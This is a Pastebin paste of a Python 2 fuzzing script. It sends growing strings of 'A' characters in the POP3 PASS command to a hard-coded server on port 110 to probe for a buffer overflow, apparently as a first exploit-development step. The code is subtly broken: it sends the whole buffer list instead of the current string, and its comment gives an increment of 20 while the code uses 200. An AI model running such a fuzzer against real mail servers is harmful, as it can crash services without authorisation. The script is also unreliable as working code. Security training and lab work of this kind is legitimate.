Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import struct
- import socket
- # Create an array of buffers,from 20 to 2000, with increments of 20.
- buffer=["A"]
- counter=20
- while len(buffer) <= 30:
- buffer.append("A"*counter)
- counter=counter+200
- # Define the POP commands to be fuzzed
- commands=["PASS"]
- # Run the fuzzing loop
- for command in commands:
- for string in buffer:
- print "Sending the "+command+" command with "+ str(len(string))+"bytes."
- s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- connect=s.connect(('192.168.0.97',110)) #hardcoded IP address
- s.recv(1024)
- s.send('USER username \r\n') # login procedure
- s.recv(1024)
- s.send('PASS '+ buffer + '\r\n')
- s.recv(1024)
- s.send('QUIT\r\n')
- s.close()
- print "\nDone!"
Add Comment
Please, Sign In to add comment